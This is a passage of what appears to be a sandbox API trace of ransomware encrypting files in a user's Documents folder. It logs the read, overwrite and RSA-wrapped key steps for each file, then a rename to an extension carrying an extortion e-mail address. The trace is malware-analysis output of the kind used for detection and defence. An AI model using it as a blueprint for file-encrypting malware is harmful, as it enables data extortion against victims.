out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xea35, lpOverlapped=0x0) returned 1 [0146.952] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-59957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.952] WriteFile (in: hFile=0x5e8, lpBuffer=0x6402d8*, nNumberOfBytesToWrite=0xea35, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6402d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xea35, lpOverlapped=0x0) returned 1 [0146.952] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0146.952] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6402d8 | out: hHeap=0x570000) returned 1 [0146.953] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xea35 [0146.953] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0146.953] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0146.953] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0146.953] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0146.954] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0146.954] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0146.954] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="natooC1xmF7EK6madK/SBJ4IAkijcBL4y7oX4sr+qn1E2OV+2w0VTb4/CqjMzVG9\nfcuB4gA2gJAKex48xvf4JmMHCk4iOp5j5PBMLnL8ChPy+UaDpxC67UggCp3x3ffb\nmXcahGcEZXmvS3DgIAEjsPXg5AdsfGTxy4NTvWAF1Yv/SiEt59yn6DqH4BHg6agT\nPewcrWXMrIiEUFdTFhib/geVP6N2WxQRhyUuNLAJ0bM3pqNOsRmVzVzCVGwRcYCu\nibDJhP1a3/5b9uZPPVFYk9FYmFTE2dqEWkBARpXcTxV0oBpeL8povrc/WFpSyUph\nFKvS+E5g32w2pAKX8p5XLg==\n", pcchString=0x2e3f9a8) returned 1 [0146.954] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0146.954] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0146.954] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0146.954] CloseHandle (hObject=0x5e8) returned 1 [0146.954] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0146.955] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\ZMjCG.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\zmjcg.xlsx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\ZMjCG.xlsx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\zmjcg.xlsx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0146.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0146.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0146.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be268 | out: hHeap=0x570000) returned 1 [0146.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beaa8 | out: hHeap=0x570000) returned 1 [0146.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0146.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0146.957] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0146.957] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\YgcrL70kHEGCGgT_4_.odp", dwFileAttributes=0x80) returned 1 [0146.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0146.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0146.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0146.958] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\YgcrL70kHEGCGgT_4_.odp" (normalized: "c:\\users\\fd1hvy\\documents\\ygcrl70khegcggt_4_.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0146.958] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=23814) returned 1 [0146.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5d06) returned 0x631898 [0146.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5d06) returned 0x6375a8 [0146.958] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0x5d06, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x5d06, lpOverlapped=0x0) returned 1 [0146.960] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-23814, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.960] WriteFile (in: hFile=0x5e8, lpBuffer=0x6375a8*, nNumberOfBytesToWrite=0x5d06, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6375a8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5d06, lpOverlapped=0x0) returned 1 [0146.960] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0146.960] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6375a8 | out: hHeap=0x570000) returned 1 [0146.960] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5d06 [0146.960] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0146.960] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0146.960] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0146.960] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0146.961] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0146.961] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0146.961] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="jZqlPU/gRrOmg1V6pdpguOCqW7Un6XxH6SbOlq0wyG6tZ8CW6A0MWXIkG6UABt8x\n+YlghWYzwhcMMKMcnsRLE8Z3MQlDYL+WqZzUG6bNwzr9cSJ5/hRVoPS4qraKJlwA\nyo9CC25OjBRVUhrKZTunLiDh+RhxLdidhoXuvV3YVqlvtE5YnceoNEcZ8njIDsC9\nEhqkxG9xVYiVTIFNwybJjHY3cIs/iQCwpyBAE0DczpDR5KCS6kXzKiWvmRP+nxku\nPGApBSEg3igvUQBpvvREL/bA6bEmhQ0P2/lUbGOvEOCQqIV3P2LpqpHLhDqHbLWb\nrf+wS7fL5G+XOAeIT+EkUg==\n", pcchString=0x2e3f9a8) returned 1 [0146.961] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0146.961] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0146.961] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0146.961] CloseHandle (hObject=0x5e8) returned 1 [0146.961] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0146.961] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\YgcrL70kHEGCGgT_4_.odp" (normalized: "c:\\users\\fd1hvy\\documents\\ygcrl70khegcggt_4_.odp"), lpNewFileName="\\Users\\FD1HVy\\Documents\\YgcrL70kHEGCGgT_4_.odp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\ygcrl70khegcggt_4_.odp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0147.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0147.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0147.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0147.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5becb8 [0147.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0147.062] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.062] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XxD1.doc", dwFileAttributes=0x80) returned 1 [0147.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be6e0 [0147.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0147.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be6e0 | out: hHeap=0x570000) returned 1 [0147.063] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XxD1.doc" (normalized: "c:\\users\\fd1hvy\\documents\\xxd1.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.063] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=56982) returned 1 [0147.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xde96) returned 0x631898 [0147.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xde96) returned 0x63f738 [0147.063] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0xde96, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xde96, lpOverlapped=0x0) returned 1 [0147.065] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-56982, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.065] WriteFile (in: hFile=0x5e8, lpBuffer=0x63f738*, nNumberOfBytesToWrite=0xde96, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63f738*, lpNumberOfBytesWritten=0x2e3f9b4*=0xde96, lpOverlapped=0x0) returned 1 [0147.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63f738 | out: hHeap=0x570000) returned 1 [0147.066] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xde96 [0147.066] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.066] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.066] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.066] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.067] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.067] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="yzWtum+X7pL37yjiCOHhodNkkTx7qzNwfGDKc8LJJJRYcaFDOfK7T8TQh1ub9PXw\nICNHK0O9+ASEJgNZ5XmFCyHc6EKgtDTu4zYIc7+czYw9RU67Qs0N9adOriimmY/r\nOQ/0YN8n4DG13XyZLgCdytCCFy7rVpkkIXvB/cCUNlNAVZJvknPTx38FWqPd82rZ\n4u0V2gT3PzzGyVTL2nDUmA6SjzgUNXly1/LpQ65tVFOXr7a9+O5/JhF5D2ybTxWH\neXPCT/WECsmhh3creNXBEJYhEjcCjKqGfkjZZq64cp++Z18Qu06aYbHrNLF97oJZ\nSSbDA7tOzhFDEGLX6/5atQ==\n", pcchString=0x2e3f9a8) returned 1 [0147.067] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.068] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.068] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.068] CloseHandle (hObject=0x5e8) returned 1 [0147.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.068] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XxD1.doc" (normalized: "c:\\users\\fd1hvy\\documents\\xxd1.doc"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XxD1.doc.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\xxd1.doc.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0147.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5becb8 | out: hHeap=0x570000) returned 1 [0147.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0147.070] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0147.070] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0147.070] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.070] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\wfOl4X1xdyW8oqkC8.pptx", dwFileAttributes=0x80) returned 1 [0147.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0147.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0147.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0147.071] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\wfOl4X1xdyW8oqkC8.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\wfol4x1xdyw8oqkc8.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.071] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=63942) returned 1 [0147.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf9c6) returned 0x631898 [0147.079] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf9c6) returned 0x641268 [0147.079] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0xf9c6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xf9c6, lpOverlapped=0x0) returned 1 [0147.081] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-63942, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.081] WriteFile (in: hFile=0x5e8, lpBuffer=0x641268*, nNumberOfBytesToWrite=0xf9c6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x641268*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf9c6, lpOverlapped=0x0) returned 1 [0147.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x641268 | out: hHeap=0x570000) returned 1 [0147.082] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf9c6 [0147.082] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.082] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.082] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.082] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.083] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.083] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="GQuDf6bZ+UUx0K9ZHxnSwGCDMKmddLm4S8CU6tNCHtK4TazEF5JCa7/OdshobgOU\n5NArL+gFLQ75BhZaOjRKIGejeJ4mUZo7MzlVtwwA9q7yMkAqGekaqq6pHtXj97mD\nvHmT+Hiw5SWlbrCOAexRZEBQc4fg9K6ILtgq2hcNq+OM5MJBUr2OHdUvEhYggXwm\nQ+1B4N5ObYI0+PVbPP9S3uusNV0wmE8rU3x5yrYBFuPjFH15He6Ghj0+sT0Hb9hp\na/ks8guXzVhgpcVrdz1ijjiW8kjbJbTyaXfj/Jw34eMTDg1FIp7j+MPLcL2yvyPC\nezvbJZuZI1P0leq9ueEpIA==\n", pcchString=0x2e3f9a8) returned 1 [0147.084] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.084] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.084] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.084] CloseHandle (hObject=0x5e8) returned 1 [0147.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.084] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\wfOl4X1xdyW8oqkC8.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\wfol4x1xdyw8oqkc8.pptx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\wfOl4X1xdyW8oqkC8.pptx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\wfol4x1xdyw8oqkc8.pptx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0147.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0147.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0147.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0147.086] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0147.086] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0147.086] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.086] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\V Aj6iLeWZhqj6eJRUz.xlsx", dwFileAttributes=0x80) returned 1 [0147.086] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde98 [0147.087] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0147.087] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x570000) returned 1 [0147.087] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\V Aj6iLeWZhqj6eJRUz.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\v aj6ilewzhqj6ejruz.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.087] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=20100) returned 1 [0147.087] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4e84) returned 0x631898 [0147.087] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4e84) returned 0x636728 [0147.087] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0x4e84, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x4e84, lpOverlapped=0x0) returned 1 [0147.088] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-20100, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.088] WriteFile (in: hFile=0x5e8, lpBuffer=0x636728*, nNumberOfBytesToWrite=0x4e84, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x636728*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4e84, lpOverlapped=0x0) returned 1 [0147.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x636728 | out: hHeap=0x570000) returned 1 [0147.089] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4e84 [0147.089] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.089] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.089] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.089] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: 